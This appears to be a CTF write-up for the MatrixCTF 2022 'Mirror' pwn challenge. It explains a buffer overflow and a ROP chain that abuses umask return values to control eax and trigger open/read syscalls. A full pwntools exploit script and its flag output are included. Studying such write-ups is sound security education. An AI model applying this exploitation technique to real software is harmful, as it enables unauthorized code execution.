MatrixCTF 2022 - 'Mirror' writeup(pwn)

 Date: July 6, 2022

It’s 2022 and Matrix released their annual challs. This year, I chose to focus on the pwnables.

The first two(‘Connection Failed’ and ‘Cookies’) were quite trivial, and involved stuff like: buffer overflows, fighting w/ fork() and leveraging an integer overflow to predict a stack canary. This writeup is about the 3rd chall ‘Mirror’, which got me intrigued due to the constraints it had. So, without further ado, let’s begin.

Challenge Description

We are given a binary file:

  • Statically linked
  • No PIE
  • No libc (oof)

All it does is getting 0x70 bytes of input with a read() syscall and prints it back to the user with a write() syscall.

The stack frame size is 0x10 bytes and the read() syscall gets 0x70 bytes. So, it’s quite obvious that we have 0x60 bytes to overflow.

main-asm

My initial thought was ‘is this another SROP chall? Let’s try to craft a Sigreturn-Frame’. However, that’s not the case here, we don’t have enough bytes to craft a Sigreturn Frame(only 0x60 bytes to overflow). So instead, we’ll build a regular ROP payload.

Obstacles when Crafting a ROP chain

The binary already has a print_flag function in it, so we’ll try to perform ret2print_flag. However, it doesn’t read flag.txt, but rather false_flag.txt:

print-flag-asm

During my attempts, I tried crafting a ROP chain that will:

  • Put false_flag+6(='flag.txt') into RDI with a pop rdi gadget
  • Return to the middle of print_flag, at 0x40104C right when it opens the path inside RDI and reads it.
  • Let the print_flag function continue normally

It didn’t work, because when I jumped to 0x40104C I skipped the 1st instruction of print_flag, which is mov eax, 2. The value of eax is crucial for the syscall instruction(SYS_open==2).

I needed to find a way to control the value of the eax register. To do that, I thought of leveraging the read() syscall: this syscall returns the number of characters the user entered. So we can: Enter 2 bytes to adjust/set eax to 2, perform ret2print_flag as described above and win. Sounds straight-forward, but in reality, it doesn’t work.

First: the binary verifies that you entered at least 0x55 bytes. If you typed less than 0x55 bytes, it will call exit() and kill your ROP chain. Which means that the only syscalls you can trigger are between 0x56 and 0x70.

Second: the binary is extermly small, which makes it harder to find useful gadgets.

Third: It has a add rsp, 0x10 at the end of the mirror function, which basically shrink your ROP payload even more and limits your ‘range of motion’/number of gadgets when exploiting this bof.

Solution

After browsing through Linux syscall definitions to look for a suitable candidate, I noticed something very interesting in the description of the umask syscall:

https://man7.org/linux/man-pages/man2/umask.2.html

Return value: This system call always succeeds and the previous value of the mask is returned.

Nice! So, if we want to control the value of eax while satisfying the rest of the constraints(mentioned above) we can:

  • Send a 1st ROP with a size of 0x5f(SYS_umask):
    • jump to pop rdi; syscall; ret
    • ‘plant’ our desired value using the umask syscall, let’s say we ROP to umask(1337).
    • return back to mirror
  • Send a 2nd ROP with a size of 0x5f(SYS_umask):
    • jump to pop rdi; syscall; ret
    • This time we will call umask again but it will return 1337. Which will turn eax to 1337.
    • return to a syscall; ret gadget in order to trigger a 1337 syscall.

This way, we can achieve arbitrary values into eax using umask, and leverage that into triggering arbitrary syscalls. Or as I like to call it, ‘The House of umask~’ :^) lol

Below is the full solution:

#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF('Mirror')

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('0.cloud.chals.io', 14397)
    else:
        return process([elf.path] + argv, *a, **kw)

# ./exploit.py GDB
gdbscript = '''
# tbreak *0x{elf.entry:x}
continue
'''.format(**locals())

rw_page = 0x404000 - 0x500 # will store the flag 
syscall_ret = 0x40102c
pop_rdi_ret   = 0x40102a
#===========================================================
io = start()

def craft_ret2addr(addr):
    payload = b'Q'*0x10 # stackFrame
    payload += p64(addr)
    return payload

def craft_umask(rdi_val, rsi_val, ret2func, extra=b''):
    SYSCALL_NUM = 0x5f
    payload  = b'A'*0x10
    payload += p64(pop_rdi_ret)
    payload += p64(rdi_val) # new umask val / future syscall
    payload += p64(rsi_val)
    payload += craft_ret2addr(ret2func)
    payload += extra
    payload += b'C'*0x100 # adding extra bytes to reach beyond 0x70 (we will do the right adjustments/cut this anyway later in the next line)
    return payload[:SYSCALL_NUM]


# --------
input('prep step 1(set rax=0x2) >')
payload  = craft_umask(0x2, 0x0, elf.sym['mirror'])
io.send(payload)


input('launch step 1(call SYS_open) >')
payload  = craft_umask(elf.sym['false_flag']+6, 0x124, syscall_ret, craft_ret2addr(elf.sym['mirror']))
io.send(payload)


input('prep step 2(set rax=0x0) >')
payload  = craft_umask(0x0, rw_page, elf.sym['mirror'])
io.send(payload)


input('launch step 2(call SYS_read) >')
fd = 0x3
payload  = craft_umask(fd, rw_page, syscall_ret, craft_ret2addr(0x401074))
io.send(payload)
io.interactive()

output:

[+] Opening connection to 0.cloud.chals.io on port 14397: Done
prep step 1(set rax=0x2) >
launch step 1(call SYS_open) >
prep step 2(set rax=0x0) >
launch step 2(call SYS_read) >
[*] Switching to interactive mode
AAAAAAAAAAAAAAAA*\x10\x00\x00\x00\x00\x00\x00\x00;@\x00\x00\x00QQQQQQQQQQQQQQQ\x00@\x00\x00\x00CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAA*\x10\x00\x00\x00 @\x00\x00\x00\x00\x00\x00QQQQQQQQQQQQQQQQ,\x10\x00\x00\x00QQQQQQQQQQQQQQQ\x00@\x00\x00\x00CCCCCCAAAAAAAAAAAAAAAA*\x10\x00\x00\x00\x00\x00\x00\x00;@\x00\x00\x00QQQQQQQQQQQQQQQ\x00@\x00\x00\x00CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAA*\x10\x00\x00\x00\x00\x00\x00\x00;@\x00\x00\x00QQQQQQQQQQQQQQQ,\x10\x00\x00\x00QQQQQQQQQQQQQQQt\x10\x00\x00\x00CCCCCCMCL{D1D_y0u_U53_50f7_0R_H4Rd_L1Nk?}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

[*] Got EOF while reading in interactive

we got the flag :D

 MCL{D1D_y0u_U53_50f7_0R_H4Rd_L1Nk?}

Even though it was an un-intended solution, I thought it was quite original and worth sharing.

ty for the challenge.

 Tags:  pwn syscall ctf

Previous
⏪ Fuzzing with AFL | Part 2: Trying Smarter(Apache)

Next
Discovering a 2-year old priv-esc in Redis(CVE-2022-24735) ⏩